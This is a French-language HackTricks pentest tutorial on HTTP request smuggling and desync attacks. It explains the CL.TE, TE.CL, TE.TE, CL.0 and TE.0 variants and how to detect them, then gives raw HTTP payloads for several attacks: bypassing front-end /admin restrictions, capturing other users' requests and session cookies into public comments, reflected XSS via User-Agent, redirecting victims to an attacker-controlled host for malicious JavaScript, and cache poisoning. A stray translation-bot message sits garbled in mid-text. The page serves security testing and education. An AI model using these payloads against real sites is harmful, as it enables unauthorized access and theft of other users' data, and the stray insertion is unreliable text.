HTTP Request Smuggling / HTTP Desync Attack
Reading time: 33 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que c'est
Cette vulnĂ©rabilitĂ© survient lorsqu'une dĂ©synchronisation entre les front-end proxies et le serveur back-end permet Ă un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une requĂȘte unique par les front-end proxies (load balance/reverse-proxy) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă un utilisateur de modifier la requĂȘte suivante qui arrive au serveur back-end aprĂšs la sienne.
Théorie
Si un message est reçu avec Ă la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.
Content-Length
L'en-tĂȘte d'entitĂ© Content-Length indique la taille de l'entity-body, en octets, envoyĂ© au destinataire.
Transfer-Encoding: chunked
L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile Ă l'utilisateur.
Chunked signifie que de grosses données sont envoyées en une série de chunks.
Réalité
Les Front-End (un load-balancer / Reverse Proxy) traitent l'en-tĂȘte Content-Length ou l'en-tĂȘte Transfer-Encoding et le serveur Back-End traite l'autre, provoquant une dĂ©synchronisation entre les 2 systĂšmes.
Cela peut ĂȘtre trĂšs critique car un attaquant pourra envoyer une seule requĂȘte au reverse proxy qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes diffĂ©rentes. Le danger de cette technique rĂ©side dans le fait que le serveur back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle provenait du client suivant et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.
Particularités
Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :
- Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer au dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire Ă la fin de la requĂȘte.
- Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes :
0
- Connection : D'aprÚs mon expérience il est recommandé d'utiliser
Connection: keep-alive
sur la premiĂšre requĂȘte du Request Smuggling.
Exemples de base
tip
Lorsque vous essayez d'exploiter ceci avec Burp Suite désactivez Update Content-Length
et Normalize HTTP/1 line endings
dans le repeater car certains gadgets abusent des newlines, des carriage returns et des content-lengths malformés.
Les attaques de HTTP request smuggling sont construites en envoyant des requĂȘtes ambiguĂ«s qui exploitent des divergences dans la maniĂšre dont les front-end et back-end interprĂštent les en-tĂȘtes Content-Length
(CL) et Transfer-Encoding
(TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement en CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la façon dont le front-end et le back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s proviennent du fait que les serveurs traitent la mĂȘme requĂȘte diffĂ©remment, entraĂźnant des rĂ©sultats inattendus et potentiellement malveillants.
Exemples de base des types de vulnérabilités
tip
à la table précédente vous devriez ajouter la technique TE.0, similaire à la technique CL.0 mais en utilisant Transfer-Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Traite la requĂȘte en se basant sur l'en-tĂȘte
Content-Length
. -
Back-End (TE): Traite la requĂȘte en se basant sur l'en-tĂȘte
Transfer-Encoding
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte
Content-Length
ne correspond pas à la longueur réelle du contenu. -
Le front-end transfĂšre l'ensemble de la requĂȘte au back-end, en se basant sur la valeur de
Content-Length
. -
Le back-end traite la requĂȘte comme chunked Ă cause de l'en-tĂȘte
Transfer-Encoding: chunked
, interprĂ©tant les donnĂ©es restantes comme une requĂȘte distincte et suivante. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Traite la requĂȘte en se basant sur l'en-tĂȘte
Transfer-Encoding
. -
Back-End (CL): Traite la requĂȘte en se basant sur l'en-tĂȘte
Content-Length
. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte chunked oĂč la taille du chunk (
7b
) et la longueur réelle du contenu (Content-Length: 4
) ne correspondent pas. -
Le front-end, respectant
Transfer-Encoding
, transfĂšre l'ensemble de la requĂȘte au back-end. -
Le back-end, respectant
Content-Length
, traite seulement la premiĂšre partie de la requĂȘte (7b
octets), laissant le reste comme partie d'une requĂȘte suivante non intentionnelle. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Serveurs : Les deux supportent
Transfer-Encoding
, mais l'un peut ĂȘtre trompĂ© en ignorant via obfuscation. -
Scénario d'attaque :
-
L'attaquant envoie une requĂȘte avec des en-tĂȘtes
Transfer-Encoding
obfusqués. -
Selon le serveur (front-end ou back-end) qui ne reconnaĂźt pas l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.
-
La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte suivante, conduisant au smuggling.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Les deux serveurs traitent la requĂȘte uniquement en se basant sur l'en-tĂȘte
Content-Length
. - Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas au smuggling, car il y a alignement dans la maniĂšre dont les deux serveurs interprĂštent la longueur de la requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Se rĂ©fĂšre aux scĂ©narios oĂč l'en-tĂȘte
Content-Length
est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte contient du contenu. Le back-end ignore l'en-tĂȘteContent-Length
(qui est traitĂ© comme 0), mais le front-end le parse. - C'est crucial pour comprendre et crĂ©er des attaques de smuggling, car cela influence la façon dont les serveurs dĂ©terminent la fin d'une requĂȘte.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Comme le précédent mais en utilisant TE.
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Faire planter le serveur web
Cette technique est aussi utile dans des scĂ©narios oĂč il est possible de faire planter un serveur web pendant la lecture des donnĂ©es HTTP initiales mais sans fermer la connexion. Ainsi, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la requĂȘte HTTP suivante.
Par exemple, comme expliquĂ© dans cet article, dans Werkzeug il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP Ă©tait Ă©tablie avec l'en-tĂȘte Connection: keep-alive
, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la requĂȘte HTTP suivante.
Forçage via les en-tĂȘtes hop-by-hop
En abusant des en-tĂȘtes hop-by-hop vous pouvez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling exploitable.
Connection: Content-Length
Pour more information about hop-by-hop headers consultez :
Détection de HTTP Request Smuggling
Identifier des vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps que met le serveur Ă rĂ©pondre Ă des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En dehors de ces mĂ©thodes, il existe d'autres stratĂ©gies et outils pour trouver de telles vulnĂ©rabilitĂ©s :
Détection des vulnérabilités CL.TE avec des techniques de timing
-
Méthode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le back-end attendra des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation :
-
Le front-end traite la requĂȘte en se basant sur
Content-Length
et coupe le message prématurément. -
Le back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.
-
Indicateurs :
-
Timeouts ou longs délais de réponse.
-
Réception d'une erreur 400 Bad Request provenant du back-end, parfois accompagnée d'informations détaillées sur le serveur.
Détection des vulnérabilités TE.CL avec des techniques de timing
-
Méthode :
-
Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le back-end attendra des donnĂ©es supplĂ©mentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation :
- Le front-end traite la requĂȘte en se basant sur
Transfer-Encoding
et transmet l'intégralité du message. - Le back-end, s'attendant à un message basé sur
Content-Length
, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
Autres méthodes pour trouver des vulnérabilités
- Analyse différentielle des réponses :
- Envoyer des versions lĂ©gĂšrement diffĂ©rentes d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, ce qui indiquerait une divergence d'analyse.
- Utilisation d'outils automatisés :
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambigĂŒes et en analysant les rĂ©ponses.
- Tests de variance de Content-Length :
- Envoyer des requĂȘtes avec des valeurs
Content-Length
variables et non alignées avec la longueur réelle du contenu et observer comment le serveur gÚre ces discordances. - Tests de variance de Transfer-Encoding :
- Envoyer des requĂȘtes avec des en-tĂȘtes
Transfer-Encoding
obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.
Tests de vulnérabilité HTTP Request Smuggling
AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes client peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă tenter de poisonner vos requĂȘtes, par exemple faire en sorte qu'une requĂȘte vers /
renvoie un 404. Les exemples CL.TE et TE.CL discutĂ©s prĂ©cĂ©demment dans Basic Examples montrent comment poisonner la requĂȘte d'un client pour provoquer un 404, malgrĂ© le fait que le client cherchait Ă accĂ©der Ă une ressource diffĂ©rente.
Considérations clés
Lorsque vous testez des vulnĂ©rabilitĂ©s de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă l'esprit :
- Connexions rĂ©seau distinctes : Les requĂȘtes "attaque" et "normale" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau sĂ©parĂ©es. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
- URL et paramĂštres identiques : Essayez d'utiliser des URLs et des noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes routent souvent les requĂȘtes vers des back-ends spĂ©cifiques selon l'URL et les paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition nĂ©cessaire pour une attaque rĂ©ussie.
- Timing et conditions de course : La requĂȘte "normale", destinĂ©e Ă dĂ©tecter l'interfĂ©rence de la requĂȘte "attaque", est en compĂ©tition avec d'autres requĂȘtes concurrentes de l'application. Envoyez donc la requĂȘte "normale" immĂ©diatement aprĂšs la requĂȘte "attaque". Les applications trĂšs chargĂ©es peuvent nĂ©cessiter plusieurs essais pour obtenir une confirmation concluante.
- ProblĂšmes de load balancing : Les front-ends faisant office de load balancer peuvent rĂ©partir les requĂȘtes sur diffĂ©rents back-ends. Si la requĂȘte "attaque" et la requĂȘte "normale" sont envoyĂ©es sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect de load balancing peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
- Impact involontaire sur des utilisateurs : Si votre attaque affecte involontairement la requĂȘte d'un autre utilisateur (et non la requĂȘte "normale" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests rĂ©pĂ©tĂ©s pourraient perturber d'autres utilisateurs, ce qui impose d'adopter une approche prudente.
Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling
La rĂ©utilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requĂȘtes sur la mĂȘme socket. Apprenez Ă sĂ©parer les artefacts inoffensifs cĂŽtĂ© client des vĂ©ritables desynchronisations cĂŽtĂ© serveur.
Pourquoi le pipelining crée des faux positifs classiques
HTTP/1.1 rĂ©utilise une seule connexion TCP/TLS et concatĂšne requĂȘtes et rĂ©ponses sur le mĂȘme flux. En pipelining, le client envoie plusieurs requĂȘtes Ă la suite et attend des rĂ©ponses dans l'ordre. Un faux positif courant consiste Ă renvoyer deux fois un payload malformĂ© de type CL.0 sur une seule connexion :
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Je nâai reçu aucun contenu Ă traduire. Veuillez coller le contenu du fichier src/pentesting-web/http-request-smuggling/README.md que vous voulez que je traduise en français.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Si le serveur a ignoré le Content_Length
malformĂ©, il n'y a pas de dĂ©synchronisation FEâBE. En cas de rĂ©utilisation, votre client a rĂ©ellement envoyĂ© ce flux d'octets, que le serveur a analysĂ© comme deux requĂȘtes indĂ©pendantes :
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact : aucun. Vous venez juste de désynchroniser votre client par rapport au cadrage du serveur.
tip
Les modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder with requestsPerConnection>1
, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Litmus tests: pipelining or real desync?
- Désactivez la réutilisation et retestez
- Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez "Send group in sequence".
- Dans Turbo Intruder, définissez
requestsPerConnection=1
etpipeline=False
. - Si le comportement disparaßt, il s'agissait probablement de pipelining cÎté client, à moins que vous ne soyez face à des cibles connection-locked/stateful ou à une désynchronisation cÎté client.
- Vérification HTTP/2 de réponse imbriquée
- Envoyez une requĂȘte HTTP/2. Si le corps de la rĂ©ponse contient une rĂ©ponse HTTP/1 complĂšte imbriquĂ©e, vous avez prouvĂ© un bug de parsing/dĂ©synchronisation cĂŽtĂ© backend plutĂŽt qu'un simple artefact cĂŽtĂ© client.
- Sonde partial-requests pour front-ends connection-locked
- Certains FEs ne réutilisent la connexion BE en amont que si le client a réutilisé la sienne. Utilisez partial-requests pour détecter un comportement du FE qui reflÚte la réutilisation client.
- Voir PortSwigger "BrowserâPowered Desync Attacks" pour la technique connection-locked.
- Probes d'état
- Cherchez les diffĂ©rences entre la premiĂšre requĂȘte et les requĂȘtes suivantes sur la mĂȘme connexion TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" inclut une sonde connectionâstate qui automatise cela.
- Visualisez le wire
- Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement pendant que vous expérimentez la réutilisation et les partial requests.
Connectionâlocked request smuggling (reuse-required)
Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Le real smuggling existe mais est conditionnel à la réutilisation cÎté client. Pour distinguer et prouver l'impact :
- Prouvez le bug cÎté serveur
- Utilisez la vérification HTTP/2 de réponse imbriquée, ou
- Utilisez partial-requests pour montrer que le FE ne réutilise la connexion en amont que lorsque le client le fait.
- Montrez un impact rĂ©el mĂȘme si l'abus direct de sockets cross-user est bloquĂ© :
- Cache poisoning : poisonnez les caches partagés via la desync pour que les réponses affectent d'autres utilisateurs.
- Internal header disclosure : reflĂ©tez des en-tĂȘtes injectĂ©s par le FE (p. ex. auth/trust headers) et pivotez vers un contournement d'auth.
- Bypass FE controls : smuggle restricted paths/methods past the front-end.
- Host-header abuse : combinez avec des particularités de routage host pour pivoter vers des vhosts internes.
- Operator workflow
- Reproduisez avec réutilisation contrÎlée (Turbo Intruder
requestsPerConnection=2
, or Burp Repeater tab group â "Send group in sequence (single connection)"). - Ensuite, enchaĂźnez vers des primitives de cache/header-leak/control-bypass et dĂ©montrez un impact cross-user ou d'autorisation.
See also connectionâstate attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Clientâside desync constraints
Si vous ciblez browser-powered/client-side desync, la requĂȘte malveillante doit pouvoir ĂȘtre envoyĂ©e par un navigateur cross-origin. Les tricks d'obfuscation d'en-tĂȘtes ne fonctionneront pas. Concentrez-vous sur des primitives atteignables via navigation/fetch, puis pivotez vers cache poisoning, header disclosure, ou front-end control bypass lorsque des composants en aval reflĂštent ou mettent en cache des rĂ©ponses.
Pour le contexte et les workflows de bout en bout :
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP basâniveau et la concatĂ©nation de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder : contrÎle précis de la réutilisation des connexions via
requestsPerConnection
. - Burp HTTP Request Smuggler : inclut une sonde connectionâstate pour repĂ©rer le firstârequest routing/validation.
note
Considérez les effets liés uniquement à la réutilisation comme non significatifs à moins que vous puissiez prouver un desync cÎté serveur et fournir un impact concret (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abus de HTTP Request Smuggling
Contourner la sécurité front-end via HTTP Request Smuggling
Parfois, les proxies front-end appliquent des mesures de sĂ©curitĂ© et scrutent les requĂȘtes entrantes. Cependant, ces mesures peuvent ĂȘtre contournĂ©es en exploitant HTTP Request Smuggling, permettant un accĂšs non autorisĂ© Ă des endpoints restreints. Par exemple, l'accĂšs Ă /admin
peut ĂȘtre interdit depuis l'extĂ©rieur, le proxy front-end bloquant activement ces tentatives. NĂ©anmoins, ce proxy peut omettre d'inspecter des requĂȘtes imbriquĂ©es Ă l'intĂ©rieur d'une requĂȘte HTTP smuggled, laissant une brĂšche pour contourner ces restrictions.
ConsidĂ©rez les exemples suivants illustrant comment HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le chemin /admin
qui est typiquement protégé par le proxy front-end :
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Dans l'attaque CL.TE, l'en-tĂȘte Content-Length
est exploitĂ© pour la requĂȘte initiale, tandis que la requĂȘte embarquĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked
. Le proxy front-end traite la requĂȘte POST
initiale mais n'inspecte pas la requĂȘte embarquĂ©e GET /admin
, ce qui permet un accÚs non autorisé au chemin /admin
.
TE.CL Exemple
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Inversement, dans l'attaque TE.CL, la requĂȘte initiale POST
utilise Transfer-Encoding: chunked
, et la requĂȘte embarquĂ©e suivante est traitĂ©e en se basant sur l'en-tĂȘte Content-Length
. Comme pour l'attaque CL.TE, le proxy frontal ignore la requĂȘte dissimulĂ©e GET /admin
, accordant involontairement l'accĂšs au chemin restreint /admin
.
RĂ©vĂ©ler la réécriture des requĂȘtes cĂŽtĂ© front-end
Les applications emploient souvent un serveur frontal pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP of the client>
, pour relayer l'adresse IP du client vers le back-end. Comprendre ces modifications peut ĂȘtre crucial, car elles peuvent rĂ©vĂ©ler des moyens de contourner les protections ou de mettre au jour des informations ou des endpoints dissimulĂ©s.
Pour analyser comment un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end renvoie dans la rĂ©ponse. Ensuite, construisez une requĂȘte en plaçant ce paramĂštre en dernier, similaire Ă la suivante :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Dans cette structure, les composants de requĂȘte suivants sont ajoutĂ©s aprĂšs search=
, qui est le paramĂštre renvoyĂ© dans la rĂ©ponse. Cette rĂ©flexion exposera les headers de la requĂȘte suivante.
Il est important d'aligner l'en-tĂȘte Content-Length
de la requĂȘte imbriquĂ©e sur la longueur rĂ©elle du contenu. Il est conseillĂ© de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les donnĂ©es reflĂ©tĂ©es, tandis qu'une valeur trop Ă©levĂ©e peut provoquer une erreur de requĂȘte.
Cette technique est Ă©galement applicable dans le contexte d'une vulnĂ©rabilitĂ© TE.CL, mais la requĂȘte doit se terminer par search=\r\n0
. Quelle que soit la combinaison de caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre search.
Cette mĂ©thode sert principalement Ă comprendre les modifications de requĂȘte effectuĂ©es par le proxy front-end, effectuant essentiellement une enquĂȘte auto-dirigĂ©e.
Capturer les requĂȘtes des autres utilisateurs
Il est possible de capturer les requĂȘtes de l'utilisateur suivant en ajoutant une requĂȘte spĂ©cifique comme valeur d'un paramĂštre lors d'un POST. Voici comment procĂ©der :
En ajoutant la requĂȘte suivante comme valeur d'un paramĂštre, vous pouvez stocker la requĂȘte du client suivant :
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
In this scenario, the comment parameter is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
Cependant, cette technique a des limites. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte smuggled. Pour les soumissions de formulaire encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &
. Cela signifie que le contenu capturĂ© de la requĂȘte de l'utilisateur victime s'arrĂȘtera au premier &
, qui peut mĂȘme faire partie de la query string.
De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans ce cas, la requĂȘte doit se terminer par search=\r\n0
. Quel que soit le(s) caractÚre(s) de nouvelle ligne, les valeurs seront ajoutées au paramÚtre search.
Utiliser HTTP request smuggling pour exploiter Reflected XSS
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to Reflected XSS, offering significant advantages:
- L'interaction avec les utilisateurs ciblés n'est pas requise.
- Permet l'exploitation de XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les en-tĂȘtes HTTP.
Dans les cas oĂč un site est vulnĂ©rable Ă Reflected XSS via l'en-tĂȘte User-Agent, le payload suivant dĂ©montre comment exploiter cette vulnĂ©rabilitĂ©:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ce payload est structuré pour exploiter la vulnérabilité de la maniÚre suivante :
- Initier une requĂȘte
POST
, apparemment classique, avec un en-tĂȘteTransfer-Encoding: chunked
pour indiquer le début du smuggling. - Suivi d'un
0
, marquant la fin du corps du message chunked. - Puis, une requĂȘte
GET
smuggled est introduite, oĂč l'en-tĂȘteUser-Agent
est injecté avec un script,<script>alert(1)</script>
, dĂ©clenchant le XSS lorsque le serveur traite cette requĂȘte ultĂ©rieure.
En manipulant le User-Agent
via le smuggling, le payload contourne les contraintes normales des requĂȘtes, exploitant ainsi la vulnĂ©rabilitĂ© Reflected XSS d'une maniĂšre non standard mais efficace.
HTTP/0.9
caution
Dans le cas oĂč le contenu utilisateur est reflĂ©tĂ© dans une rĂ©ponse avec un Content-type
tel que text/plain
, empĂȘchant l'exĂ©cution du XSS. Si le serveur supporte HTTP/0.9 il pourrait ĂȘtre possible de contourner cela!
La version HTTP/0.9 précédait HTTP/1.0 et n'utilisait que les verbes GET et ne répondait pas avec des headers, juste le body.
Dans this writeup, cela a Ă©tĂ© abusĂ© avec un request smuggling et un endpoint vulnĂ©rable qui rĂ©pondra avec l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte en HTTP/0.9. Le paramĂštre qui Ă©tait reflĂ©tĂ© dans la rĂ©ponse contenait une fausse rĂ©ponse HTTP/1.1 (avec headers et body), si bien que la rĂ©ponse contenait du code JS exĂ©cutable valide avec un Content-Type
de text/html
.
Exploiting On-site Redirects with HTTP Request Smuggling
Les applications redirigent souvent d'une URL Ă une autre en utilisant le nom d'hĂŽte du header Host
dans l'URL de redirection. Ceci est courant sur des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash final entraĂźne une redirection pour inclure le slash :
GET /home HTTP/1.1
Host: normal-website.com
Résulte en :
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Bien que cela semble inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Cette requĂȘte dissimulĂ©e pourrait provoquer que la prochaine requĂȘte utilisateur traitĂ©e soit redirigĂ©e vers un site contrĂŽlĂ© par un attaquant :
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Résultats :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Dans ce scĂ©nario, la requĂȘte d'un utilisateur pour un fichier JavaScript est dĂ©tournĂ©e. L'attaquant peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en rĂ©ponse.
Exploiter Web Cache Poisoning via HTTP Request Smuggling
Le Web cache poisoning peut ĂȘtre exĂ©cutĂ© si un composant de l'infrastructure front-end met en cache du contenu, gĂ©nĂ©ralement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de poison the cache.
